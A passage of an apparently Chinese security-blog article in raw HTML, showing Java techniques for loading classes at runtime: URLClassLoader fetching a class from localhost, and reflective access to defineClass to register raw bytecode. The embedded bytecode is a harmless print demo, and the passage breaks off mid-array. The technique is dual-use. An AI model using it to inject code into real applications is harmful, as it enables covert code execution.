normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="text-indent: 2em;box-sizing: border-box;">另一种方式，找到一个实现了 findClass 方法的子类 - URLClassLoader 。</span></p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">核心代码：</p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><p><span class="code-snippet_outer">URL[] urls = {<span class="code-snippet__keyword">new</span> URL(<span class="code-snippet__string">&#34;<a href="http://localhost:8000/" target="_blank">http://localhost:8000/</a>&#34;</span>)};</span></p><p><span class="code-snippet_outer">URLClassLoader ucl = <span class="code-snippet__keyword">new</span> URLClassLoader(urls);</span></p><p><span class="code-snippet_outer">Class c = ucl.loadClass(<span class="code-snippet__string">&#34;Hello&#34;</span>);   <span class="code-snippet__comment">// Hello.class 放在 url 路径下</span></span></p><p><span class="code-snippet_outer">c.newInstance();</span></p></pre></p></div><div style="text-align: center;margin: 10px 0% -40px;transform: translate3d(6px, 0px, 0px);-webkit-transform: translate3d(6px, 0px, 0px);-moz-transform: translate3d(6px, 0px, 0px);-o-transform: translate3d(6px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 55px;height: auto;box-sizing: border-box;"><img data-ratio="0.6694444" data-w="1080" data-type="png" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=cbe26bc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6AVpdn5eJwaYr11FgKicIot81oatCYNhHBnNSZB90SIsJJcTcqPiaQJjzLULibr5WTj3K8WZCymDv79fohjrDf54Q%2F640%3Fwx_fmt%3Dpng"/></p></div><div style="margin: 20px 0%;text-align: center;justify-content: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 100%;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(127, 127, 127);padding: 0px 4px;height: auto;line-height: 0;box-sizing: border-box;"><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="justify-content: center;margin: -7px 0%;display: flex;flex-flow: row nowrap;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;height: auto;background-color: rgb(243, 243, 241);padding: 0px;border-width: 0px;border-radius: 5px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;flex: 0 0 auto;align-self: flex-start;line-height: 0;box-sizing: border-box;"><div style="margin: 15px 0%;box-sizing: border-box;" powered-by="xiumi.us"><div style="text-align: justify;font-size: 14px;color: rgb(127, 127, 127);padding: 0px 12px;letter-spacing: 1px;line-height: 1.8;font-family: Optima-Regular, PingFangTC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">03、defineClass</p></div></div></div></div></div></div></div><div style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="text-indent: 2em;">转念一想，ClassLoader 动态加载 loadClass 过程中是不是最重要的就是 defineClass 方法，由他注册进 JVM 。那我们是不是可以直接反射出 defineClass 方法将字节码传入注册进去呢？</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="java"><p><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> org.example;</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Method;</span></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">DefineClass</span> </span>{</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> </span>{</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></p><p><span class="code-snippet_outer">            Method defineClass = ClassLoader.class.getDeclaredMethod(<span class="code-snippet__string">&#34;defineClass&#34;</span>, String.class, <span class="code-snippet__keyword">byte</span>[].class, <span class="code-snippet__keyword">int</span>.class, <span class="code-snippet__keyword">int</span>.class);</span></p><p><span class="code-snippet_outer">            defineClass.setAccessible(<span class="code-snippet__keyword">true</span>);</span></p><p><span class="code-snippet_outer"><span class="code-snippet__comment">//            byte[] code = Base64.getDecoder().decode(&#34;yv66vgAAADQAKgoACgAYCQAZABoIABsKABwAHQgAHggAHwkACQAgCAAhBwAiBwAjAQAEbmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQARTG9yZy9leGFtcGxlL0FwcDsBAANzYXkBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAhBcHAuamF2YQwADQAOBwAkDAAlACYBACTvv73vv73vv73st73vv73vv73vv73vv73vv73vv73vv73vv70HACcMACgAKQEAAkhpAQAKbWVkaTBjcjF0eQwACwAMAQAWc3RhdGljIG1ldGhvZCBpbnZva2VkIQEAD29yZy9leGFtcGxlL0FwcAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAJAAoAAAABAAgACwAMAAAAAwAAAA0ADgABAA8AAAA/AAIAAQAAAA0qtwABsgACEgO2AASxAAAAAgAQAAAADgADAAAACwAEAAwADAANABEAAAAMAAEAAAANABIAEwAAAAEAFAAOAAEADwAAADcAAgABAAAACbIAAhIFtgAEsQAAAAIAEAAAAAoAAgAAABsACAAcABEAAAAMAAEAAAAJABIAEwAAAAgAFQAOAAEADwAAADsAAgAAAAAAFxIGswAHsgACsgAHtgAEsgACEgi2AASxAAAAAQAQAAAAEgAEAAAADwAFABIADgATABYAFAABABYAAAACABc=&#34;);</span></span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span>[] code = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[]{</span></p><p><span class="code-snippet_outer">                    -<span class="code-snippet__number">54</span>,-<span class="code-snippet__number">2</span>,-<span class="code-snippet__number">70</span>,-<span class="code-snippet__number">66</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">51</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">42</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">24</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">25</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">26</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">27</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">28</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">29</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">30</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">31</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">32</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">33</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">34</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">35</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">59</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">6</span>,<span class="code-snippet__number">60</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">62</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">3</span>,<span class="code-snippet__number">40</span>,<span class="code-snippet__number">41</span>,<span class="code-snippet__number">86</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">67</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">100</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">78</span>,<span class="code-snippet__number">117</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">98</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">84</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">98</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">86</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">98</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">84</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">98</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">104</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">115</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">17</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">120</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">65</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">59</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">3</span>,<span class="code-snippet__number">115</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">121</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">60</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">62</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">117</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">70</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">65</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">46</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">13</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">36</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">37</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">38</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">36</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">20</span>,-<span class="code-snippet__number">73</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,-<span class="code-snippet__number">17</span>,-<span class="code-snippet__number">65</span>,-<span class="code-snippet__number">67</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">39</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">40</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">41</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">72</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">100</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">48</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">49</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">121</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">11</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">22</span>,<span class="code-snippet__number">115</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">32</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">104</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">100</span>,<span class="code-snippet__number">32</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">107</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">100</span>,<span class="code-snippet__number">33</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">120</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">65</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">16</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">79</span>,<span class="code-snippet__number">98</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">99</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">16</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">121</span>,<span class="code-snippet__number">115</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">3</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">117</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">21</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">80</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">59</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">19</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">111</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">80</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">112</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">21</span>,<span class="code-snippet__number">40</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">59</span>,<span class="code-snippet__number">41</span>,<span class="code-snippet__number">86</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">33</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">11</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">3</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">13</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">63</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">13</span>,<span class="code-snippet__number">42</span>,-<span class="code-snippet__number">73</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,-<span class="code-snippet__number">78</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">3</span>,-<span class="code-snippet__number">74</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,-<span class="code-snippet__number">79</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">16</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">3</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">11</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">13</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">17</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">13</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">19</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">20</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">55</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">9</span>,-<span class="code-snippet__number">78</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">5</span>,-<span class="code-snippet__number">74</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,-<span class="code-snippet__number">79</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">16</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">27</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">28</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">17</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">12</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">19</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">21</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">14</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">59</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">23</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">6</span>,-<span class="code-snippet__number">77</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">7</span>,-<span class="code-snippet__number">78</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,-<span class="code-snippet__number">78</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">7</span>,-<span class="code-snippet__number">74</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,-<span class="code-snippet__number">78</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">2</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">8</span>,-<span class="code-snippet__number">74</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,-<span class="code-snippet__number">79</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">16</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">15</span>,<span class="code-snippet__number">0</span>,<span 